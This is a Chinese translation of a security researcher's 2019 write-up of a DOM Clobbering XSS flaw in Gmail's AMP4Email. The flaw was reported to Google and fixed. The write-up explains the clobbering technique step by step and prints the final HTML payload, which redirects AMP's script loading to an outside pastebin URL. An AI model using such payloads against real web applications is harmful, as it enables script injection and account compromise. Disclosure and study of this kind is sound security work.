被谷歌评价很赞:通过 DOM Cobbering 找到 Gmail AMP4Email 中的 XSS 漏洞
作者MICHAŁ BENTKOWSKI 在博客文章中分享了自己在2019年8月通过谷歌漏洞奖励计划提交的一个存在于 AMP4Email 中的 XSS 漏洞。该漏洞被谷歌点赞,现已修复。作者通过这个 XSS 漏洞说明了如何在真实环境中利用著名的浏览器问题 DOM Clobbering。奇安信代码卫士编译如下:
AMP4Email 简介
AMP4Email (也被称为动态邮件)是Gmail 的一项新功能,可使邮件包含HTML 动态内容。虽然多年来我们撰写的邮件中可以包含 HTML 标记语言,但人们一般认为 HTML 包含的只是静态语言,例如某种格式、图像等,而不会包含任何脚本或表格。AMP4Email 旨在向前迈进一步,允许邮件中出现动态内容。谷歌 G Suite 官方博客曾在一篇文章中很好地总结了对动态邮件的使用案例:
“借助动态电子邮件,你可以轻松地直接从消息本身采取行动,例如对事件进行RSVP(敬请回复)处理、填写调查问卷、浏览目录或回应评论。例如在 Google Docs 中写评论。有人在评论中提到你时,你不再收到个人邮件通知,而是会在 Gmail 中看到及时提醒,这样你就可以轻松地直接从信息中进行处理。”
这项功能引发的某些安全问题是显而易见的,其中最重要的可能是如果发生跨站点脚本漏洞 (XSS) 怎么办?如果我们允许在邮件中存在动态内容,是不是意味着我们能够很容易地注入任意 JavaScript 代码?其实不尽然,实施这些行为并非易事。
AMP4Email 拥有一款强大的验证器。检验之后,它对动态邮件中能够出现的标签和属性进行了严格的白名单化。有兴趣的读者可移步 https://amp.gmail.dev/playground/,给自己发送一份动态邮件,体验其效果。
如果你尝试添加任何未经该验证其明确允许的 HTML 元素或属性,就会收到一个出错信息提醒。
我把玩了一阵AMP4Email 并尝试多种绕过方法后,我注意到标签中并未对属性 id 做出禁止规定。
那么我可以从这里开始分析其安全性,因为创建由用户控制的 id 属性的 HTML 元素可导致 DOM Clobbering 后果。
什么是 DOM Clobbering?
DOM Clobbering 时是 web 浏览器中的一个遗留功能,一直在很多应用程序中制造麻烦。从本质上来讲,当你在 HTML 中创建了一个元素(如 <input id=username>)并希望从 JavaScript 中引用时,你通常会使用函数如(document.getElementById('username') 或document.querySelector('#username'))。但这并非唯一方法!
遗留的方法就是通过全局对象window 的一个属性就能访问它。因此在这个案例中,window.username 和 document.getElementById(‘username) 是完全相同的!如果应用程序是基于某些全局变量做出决策,那么这种行为(即 DOM Clobbering)会导致出现一些有意思的漏洞(想象一下:if (window.isAdmin){…}) 的后果)。
进一步分析,假设我们的JavaScript 代码如下:
if (window.test1.test2) {
eval(''+window.test1.test2)
}
我们的任务是评估仅通过 DOMClobbering 技术执行任意 JS 代码。为此,我们需要解决如下两个问题:
我们已经知道能够创建 window 的新属性,但我们可以为其它对象创建新属性(如test1.test2的例子)吗?
我们能够控制 DOM 元素如何被转换为字符串的方式吗?多数 HTML 元素被转换为字符串时会返回类似这样的内容 [object HTMLInputElement]。
我们先来看第一个问题。解决这个问题最常用的方法是使用 <form> 标记。<form> 标记的每个 <input> 后代都将作为 <form> 的属性进行添加,该属性的名称等于 <input> 的 name 属性。如下:
<form id=test1>
<input name=test2>
</form>
<script>
alert(test1.test2); // alerts "[object HTMLInputElement]"
</script>
为了解决第二个问题,我创建了一个简短的 JS 代码,它会 HTML 中所有可能的元素进行了迭代,并检查这些元素的 toString 方法是继承自 Object.prototype 还是以其它方式进行了定义。如果它们并非继承自 Object.prototype,那么可能会返回 [Object SomeElement] 以外的结果。
代码如下:
Object.getOwnPropertyNames(window)
.filter(p => p.match(/Element$/))
.map(p => window[p])
.filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)
该代码返回两个元素HTMLAreaElment (<area>) 和 HTMLAnchorElement (<a>)。第一个是在 AMP4Email 中被禁止的,因此我们只要看第二个即可。在 <a> 元素中,toString 返回的只是 href 属性的一个值。例子如下:
<a id=test1 href=https://securitum.com>
<script>
alert(test1); // alerts "https://securitum.com"
</script>
这时,我们如果想要解决最初的问题(即通过 DOM Clobbering 评估 window.test1.test2的值),似乎需要类似于下面这样的代码:
<form id=test1>
<a name=test2 href="x:alert(1)"></a>
</form>
问题是它根本不会运行;test1.test2是“未定义的”。虽然 <input> 元素确实变成了 <form> 的属性,但元素 <a> 这里的情况并非如此。
不过,也有一个很有意思的解决方案,它适用于 WebKit 和基于 Blink 的浏览器中。假设我们的两个元素具有相同的 id:
<a id=test1>click!</a>
<a id=test1>click2!</a>
那么当我们访问 window.test1 时会得到什么呢?我凭直觉认为会获得具有该 id 的第一个元素(当尝试调用 document.getElementById('#test1') 时就是这种结果)。然而,在Chromium 中我们竟然得到了一个 HTMLCollection!
更有意思的是,我们可以通过索引(例子中是0和1)以及通过 id 来访问这个HTMLCollection 中的具体元素。也就是说 window.test1.test1 实际上引用的是第一个元素。结果表明设置 name 属性也会导致在HTMLCollection 中创建新属性。因此我们就有了如下的代码:
<a id=test1>click!</a>
<a id=test1 name=test2>click2!</a>
而且我们能够通过window.test1.test2 来访问第二个锚元素。
回到通过 DOMClobbering 利用 eval(''+window.test1.test2) 的最开始的练习,那么解决方案就是:
<a id="test1"></a><a id="test1" name="test2" href="x:alert(1)"></a>
我们再回到 AMP4Email,来看下如何在真实世界中利用 DOMClobbering。
利用 AMP4Email 中的 DOM Clobbering
之前已经提到,通过向元素添加我自己的 id 属性可能导致AMP4Email 易受 DOM Clobbering 攻击。为了找到一些可利用的条件,我决定查看下 window 的属性。以 AMP 开头的属性立即进入眼帘:
尽管如此,但AMP_MODE并没有设置相同的限制条件,因此我要看看代码 <a id=AMP_MODE> 会产生什么后果。结果我在面板上发现了一个非常有意思的出错信息:
如上图,AMPEmail试图加载某个 JS 文件,但由于404错误而失败。然而,更引人注目的是 URL (https://cdn.ampproject.org/rtv/undefined/v0/amp-auto-lightbox-0.1.js)的中间存在一个字符串“undefined”。而这也合理地解释了为何会发生上述情况的原因:AMP 试图获取 AMP_MODE 的一个属性并将其放入 URL 中。由于 DOM Clobbering 的存在,预期的属性确实,因此是 undefined(未定义的)。负责该代码包含的代码如下:
f.preloadExtension = function(a, b) {
"amp-embed" == a && (a = "amp-ad");
var c = fn(this, a, !1);
if (c.loaded || c.error)
var d = !1;
else
void 0 === c.scriptPresent && (d = this.win.document.head.querySelector('[custom-element="' + a + '"]'),
c.scriptPresent = !!d),
d = !c.scriptPresent;
if (d) {
d = b;
b = this.win.document.createElement("script");
b.async = !0;
yb(a, "_") ? d = "" : b.setAttribute(0 <= dn.indexOf(a) ? "custom-template" : "custom-element", a);
b.setAttribute("data-script", a);
b.setAttribute("i-amphtml-inserted", "");
var e = this.win.location;
t().test && this.win.testLocation && (e = this.win.testLocation);
if (t().localDev) {
var g = e.protocol + "//" + e.host;
"about:" == e.protocol && (g = "");
e = g + "/dist"
} else
e = hd.cdn;
g = t().rtvVersion;
null == d && (d = "0.1");
d = d ? "-" + d : "";
var h = t().singlePassType ? t().singlePassType + "/" : "";
b.src = e + "/rtv/" + g + "/" + h + "v0/" + a + d + ".js";
this.win.document.head.appendChild(b);
c.scriptPresent = !0
}
return gn(c)
}
虽然读起来不是特别费劲,不过我们看下手动反混淆之后的代码(为更清晰第展示,某些地方有所省略)。
var script = window.document.createElement("script");
script.async = false;
var loc;
if (AMP_MODE.test && window.testLocation) {
loc = window.testLocation
} else {
loc = window.location;
}
if (AMP_MODE.localDev) {
loc = loc.protocol + "//" + loc.host + "/dist"
} else {
loc = "https://cdn.ampproject.org";
}
var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";
document.head.appendChild(b);
所以,在第1行,代码创建了一个新的script 元素。之后检查AMP_MODE.test 和 window.testLocation 是否为真。如为真,且 AMP_MODE.localDev (第11行)也为真,那么 window.testLocation 就作为生成该脚本 URL 的一个基。之后,在第17行和18行,某些属性被拼接,从而构成完整的 URL。虽然由于代码的编写方式,第一眼看上去可能不是特别明显,但得益于 DOM Clobbering,我们实际上能够控制完整的 URL。我们假设 AMP_MODE.localDev 和 AMP_MODE.test 为真,那么看下更为简化的代码:
var script = window.document.createElement("script");
script.async = false;
b.src = window.testLocation.protocol + "//" +
window.testLocation.host + "/dist/rtv/" +
AMP_MODE.rtvVersion; + "/" +
(AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "") +
"v0/" + pluginName + ".js";
document.head.appendChild(b);
还记得之前我们通过 DOM Clobbering 过载 window.test1.test2 的练习吗?现在我们要做的也是一样,即仅仅过载 window.testLocation.protocol。于是最终的 payload 如下:
<!-- We need to make AMP_MODE.localDev and AMP_MODE.test truthy-->
<a id="AMP_MODE"></a>
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>
<!-- window.testLocation.protocol is a base for the URL -->
<a id="testLocation"></a>
<a id="testLocation" name="protocol"
href="https://pastebin.com/raw/0tn8z0rG#"></a>
实际上这个代码无法在真实环境中执行,因为 AMP 中部署了同源策略。
Content-Security-Policy: default-src 'none';
script-src 'sha512-oQwIl...=='
https://cdn.ampproject.org/rtv/
https://cdn.ampproject.org/v0.js
https://cdn.ampproject.org/v0/
虽然我还没有找到绕过同源策略的方法,但当我尝试这样做的时候,我发现了绕过基于 dir 的同源策略的方法,于是我发了个推文(结果发现2016年的某次 CTF 比赛中已经用到了相同的技术)。谷歌的漏洞奖励计划并不要求绕过同源策略就能获得全额奖励金。尽管如此,这仍然是个有意思的挑战,可能其他人有一天会找到绕过方法。
总结
在这篇文章中,我展示了在一定条件下如何通过 DOM Clobbering 执行 XSS。这真实一次有意思的过程!如果想要把玩这些 XSS,可以在如下网站找到基于这个 XSS 的挑战:
时间轴
2019年8月15日:向谷歌发送漏洞报告
2019年8月16日:谷歌回复“不错!”
2019年9月10日:谷歌回复:“这个 bug 很赞,感谢报告!”
2019年10月13日:谷歌证实漏洞已修复(尽管实际上这个漏洞在很早之前就已经存在)
2019年11月18日:文章发布
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。